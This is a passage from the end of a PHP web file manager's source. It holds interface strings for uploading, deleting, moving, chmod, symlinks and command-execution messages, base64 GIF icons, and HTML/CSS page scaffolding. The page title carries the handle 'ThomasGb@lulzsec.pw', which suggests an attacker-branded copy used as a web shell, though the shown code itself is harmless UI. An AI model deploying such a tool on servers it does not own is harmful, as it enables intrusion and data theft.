4843'create_symlink' => 'create symlink',
4844
4845'delete' => 'delete',
4846
4847'rename' => 'rename',
4848
4849'move' => 'move',
4850
4851'copy' => 'copy',
4852
4853'edit' => 'edit',
4854
4855'download' => 'download',
4856
4857'upload' => 'upload',
4858
4859'create' => 'create',
4860
4861'change' => 'change',
4862
4863'save' => 'save',
4864
4865'set' => 'set',
4866
4867'reset' => 'reset',
4868
4869'relative' => 'Relative path to target',
4870
4871
4872
4873'yes' => 'Yes',
4874
4875'no' => 'No',
4876
4877'back' => 'back',
4878
4879'destination' => 'Destination',
4880
4881'symlink' => 'Symlink',
4882
4883'no_output' => 'no output',
4884
4885
4886
4887'user' => 'User',
4888
4889'password' => 'Password',
4890
4891'add' => 'add',
4892
4893'add_basic_auth' => 'add basic-authentification',
4894
4895
4896
4897'uploaded' => '"[%1]" has been uploaded.',
4898
4899'not_uploaded' => '"[%1]" could not be uploaded.',
4900
4901'already_exists' => '"[%1]" already exists.',
4902
4903'created' => '"[%1]" has been created.',
4904
4905'not_created' => '"[%1]" could not be created.',
4906
4907'really_delete' => 'Delete these files?',
4908
4909'deleted' => "These files have been deleted:\n[%1]",
4910
4911'not_deleted' => "These files could not be deleted:\n[%1]",
4912
4913'rename_file' => 'Rename file:',
4914
4915'renamed' => '"[%1]" has been renamed to "[%2]".',
4916
4917'not_renamed' => '"[%1] could not be renamed to "[%2]".',
4918
4919'move_files' => 'Move these files:',
4920
4921'moved' => "These files have been moved to \"[%2]\":\n[%1]",
4922
4923'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
4924
4925'copy_files' => 'Copy these files:',
4926
4927'copied' => "These files have been copied to \"[%2]\":\n[%1]",
4928
4929'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
4930
4931'not_edited' => '"[%1]" can not be edited.',
4932
4933'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
4934
4935'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
4936
4937'saved' => '"[%1]" has been saved.',
4938
4939'not_saved' => '"[%1]" could not be saved.',
4940
4941'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
4942
4943'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
4944
4945'permission_for' => 'Permission of "[%1]":',
4946
4947'permission_set' => 'Permission of "[%1]" was set to [%2].',
4948
4949'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
4950
4951'not_readable' => '"[%1]" can not be read.'
4952
4953 );
4954
4955
4956
4957 }
4958
4959
4960
4961}
4962
4963
4964
4965function getimage ($image) {
4966
4967 switch ($image) {
4968
4969 case 'file':
4970
4971 return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
4972
4973 case 'folder':
4974
4975 return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
4976
4977 case 'hidden_file':
4978
4979 return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
4980
4981 case 'link':
4982
4983 return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
4984
4985 case 'smiley':
4986
4987 return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
4988
4989 case 'arrow':
4990
4991 return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
4992
4993 }
4994
4995}
4996
4997
4998
4999function html_header () {
5000
5001 global $site_charset;
5002
5003
5004
5005 echo <<<END
5006
5007<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
5008
5009 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5010
5011<html xmlns="http://www.w3.org/1999/xhtml">
5012
5013<head>
5014
5015
5016
5017<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
5018
5019
5020
5021<title>ThomasGb@lulzsec.pw</title>
5022
5023
5024
5025<style type="text/css">
5026
5027body { font: small sans-serif; text-align: center }
5028
5029img { width: 17px; height: 13px }
5030
5031a, a:visited { text-decoration: none; color: navy }
5032
5033hr { border-style: none; height: 1px; background-color: silver; color: silver }
5034
5035#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
5036
5037#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
5038
5039.listing th, .listing td { padding: 1px 3pt 0 3pt }
5040
5041.listing th { border: 1px solid silver }
5042
5043.listing td { border: 1px solid #ddd; background: white }
5044
5045.listing .checkbox { text-align: center }
5046
5047.listing .filename { text-align: left }
5048
5049.listing .size { text-align: right }
5050
5051.listing th.permission { text-align: left }
5052
5053.listing td.permission { font-family: monospace }
5054
5055.listing .owner { text-align: left }
5056
5057.listing .group { text-align: left }
5058
5059.listing .functions { text-align: left }
5060
5061.listing_footer td { background: #eee; border: 1px solid silver }
5062
5063#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
5064
5065#directory { background: #eee; border: 1px solid silver }
5066
5067#upload { padding-top: 1em }
5068
5069#create { padding-bottom: 1em }
5070
5071.small, .small option { font-size: x-small }
5072
5073textarea { border: none; background: white }
5074
5075table.dialog { margin-left: auto; margin-right: auto }
5076
5077td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
5078
5079#permission { margin-left: auto; margin-right: auto }
5080
5081#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
5082
5083td.permission_action { text-align: right }
5084
5085#symlink { background: #eee; border: 1px solid silver }
5086
5087#symlink td { text-align: left; padding: 3pt }
5088
5089#red_button { width: 120px; color: #400 }
5090
5091#green_button { width: 120px; color: #040 }
5092
5093#error td { background: maroon; color: white; border: 1px solid silver }
5094
5095#notice td { background: green; color: white; border: 1px solid silver }
5096
5097#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
5098
5099code { font-size: 12pt }
5100
5101td { white-space: nowrap }
5102
5103</style>
5104
5105
5106
5107<script type="text/javascript">
5108
5109<!--
5110
5111function activate (name) {
5112
5113 if (document && document.forms[0] && document.forms[0].elements['focus']) {
5114
5115 document.forms[0].elements['focus'].value = name;
5116
5117 }
5118
5119}
5120
5121//-->
5122
5123</script>
5124
5125
5126
5127</head>
5128
5129<body>
5130
5131
5132
5133
5134
5135END;
5136
5137
5138
5139}
5140
5141
5142
5143function html_footer () {
5144
5145
5146
5147 echo <<<END
5148
5149</body>
5150
5151</html>
5152
5153END;
5154
5155
5156
5157}
5158
5159
5160
5161function notice ($phrase) {
5162
5163 global $cols;
5164
5165
5166
5167 $args = func_get_args();
5168
5169 array_shift($args);
5170
5171
5172
5173 return '<tr id="notice">
5174
5175 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
5176
5177</tr>
5178
5179';
5180
5181
5182
5183}
5184
5185
5186
5187function error ($phrase) {
5188
5189 global $cols;
5190
5191
5192
5193 $args = func_get_args();
5194
5195 array_shift($args);
5196
5197
5198
5199 return '<tr id="error">
5200
5201 <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
5202
5203</tr>
5204
5205';
5206
5207
5208
5209}
5210
5211
5212
5213?>